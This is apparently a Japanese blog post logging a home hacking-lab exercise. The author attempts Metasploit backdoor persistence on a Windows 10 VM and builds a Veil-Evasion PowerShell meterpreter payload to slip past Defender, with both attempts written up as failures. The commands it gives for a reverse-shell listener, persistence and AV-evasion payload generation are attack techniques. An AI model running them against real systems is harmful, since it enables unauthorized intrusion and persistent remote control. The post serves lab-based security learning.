【ハッキング・ラボ⑩】Windows10をハッキングする〜バックドアの設置〜

Windows10に対して、バックドアの設置を行います。
また、Veli Frameworkを使ってペイロードを作成し、アンチウイルスが回避できるかどうか実験してみます。
<br>
まとめ記事（①〜⑯をまとめてます）
[【ハッキング・ラボのつくりかた】をやってみた](https://qiita.com/nakatatsu711/items/e90e6e0962bb787bf4a9)



## システム環境
`仮想化ソフト`：VirtualBox 6.1.0
`ホストOS`：Windows10
`ゲストOS1`：Kali Linux 2020.1
`ゲストOS2`：Windows7
`ゲストOS3`：Windows10

攻撃端末はゲストOS1、ターゲット端末はゲストOS3です。
IPアドレスはゲストOS1が10.0.0.2、ゲストOS3が10.0.0.107です。



## バックドアの設置
Windows7と同じようにバックドアを設置してみます。

まず、Kali Linuxのmsfプロンプト上で以下のコマンドを実行してリバースシェルを待ち受けた後、Windows10で前回作成したevil2.exeを実行してリバースシェル接続を行います。

```:msf5
> use exploit/multi/handler
> set payload windows/x64/meterpreter/reverse_tcp
> set LHOST 10.0.0.2
> exploit
```

次に、以下のコマンドでバックドアを設置します。

```:meterpreter
> run persistence -X -i 60 -P windows/x64/meterpreter/reverse_tcp -p 4444 -r 10.0.0.2
```

プロンプト上ではバックドアの設置はうまくいったように見えます。

しかし、Windows10側ではVBSファイル（ここではNtARTj.vbs）は作られていますが、レジストリには自動実行の登録はされていないようです。
<img width="600" alt="hacking-lab-part10-1" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/5ab43a3e-8d41-a14d-cf0d-c1ba84db128d.jpeg">
<img width="600" alt="hacking-lab-part10-2" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/00fd12f2-35be-2a40-7f1e-52196faf496d.jpeg">

試しに自動実行が行われるかテストしてみましたが、60秒ごとに接続を試みるものの接続できませんでした。
<img width="600" alt="hacking-lab-part10-3" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/eb1b714e-8882-486d-285c-4c736a1b940b.jpeg">

また、Kali Linuxでリバースシェルを待ち受けた上でWindows10を再起動してみました。
こちらは接続できないどころか60秒ごとに接続を試みることもありませんでした。
やはりレジストリに登録されていないのが原因のようです。

現状ではバックドアの設置は諦めるしかなさそうです。



## アンチウイルスの回避
ここではアンチウイルスの回避をテーマに進めていきます。

Windows10ではウイルス検知が厳しく、今までペイロードを保存及び実行する際には設定でリアルタイム保護をオフにしてから行っていました。

しかし、リアルタイム保護は基本的にオンになっていますし、オフにしても一定時間でオンに戻ってしまいます。
また、オンになると保存したペイロードは自動削除されることもわかっています。

そこで、アンチウイルスを回避できるペイロードの作成を試みます。
ペイロード作成にはVeil Frameworkを使用します。Veilはアンチウイルスを回避できるペイロードを作成できるツール群です。


### Veilのインストール
Veilをインストールします。

```
# apt update
# apt upgrade
# apt install wine32
# apt install veil-evasion
```

インストールが完了したら、次のコマンドで初回セットアップを行います。

```
# veil
```

セットアップの最後に以下を実行するよう促されたので実行します。

```
# /usr/share/veil/config/setup.sh --force --silent
```

Veilがインストールできました。
<img width="600" alt="hacking-lab-part10-4" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/b21d0e8a-4cfc-e1b4-6ad4-4a2acb0103bb.jpeg">


### ペイロードの作成
ペイロードを作成していきます。

Veilを起動します。

```
# veil
```

Veilを最新化しておきます。

```:Veil
>: update
```

ツールを選択します。
ここではEvasion（番号1）を指定します。

```:Veil
>: use 1
```

ペイロードを選択します。
ここではpowershell/meterpreter/rev_tcp.py（番号22）を指定します。

```:Veil
>: use 22
```

以下を実行してペイロードを作成します。
ファイル名はevil3としました。

```:Veil
>: set LHOST 10.0.0.2
>: generate
```


### ペイロードのダウンロード
Windows10側で、作成したペイロードをダウンロードしていきます。

公開用ディレクトリに移動させます。

```
# cp /var/lib/veil/output/source/evil3.bat /home/kali/Desktop
# cp /home/kali/Desktop/evil3.bat /var/www/html/share/
# service apache2 restart
```

リアルタイム保護をオンにした状態でダウンロードしてみます。
しかし、ウイルスとして検知され、ダウンロードに失敗しました。
<img width="600" alt="hacking-lab-part10-5" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/97374817-61dd-5f99-aad9-034157f47b0f.jpeg">

とりあえずリアルタイム保護をオフにしてダウンロードしておきます。


### ペイロードの実行
Kali Linuxのmsfプロンプト上で以下のコマンドを実行してリバースシェルを待ち受けます。

```:msf5
> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set LHOST 10.0.0.2
> exploit
```

Windows10でevil3.batをダブルクリックで実行し、リバースシェル接続を行います。

このとき、リアルタイム保護をオンにしておきます。

しかし、ウイルスとして検知されてしまいました。
<img width="600" alt="hacking-lab-part10-6" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/8954a41c-b304-0770-7f34-152f6eea8a04.jpeg">

リアルタイム保護をオフにして実行すると、接続に成功しました。

しかし、ここではアンチウイルスを回避することが目的なので、実験は失敗と言えます。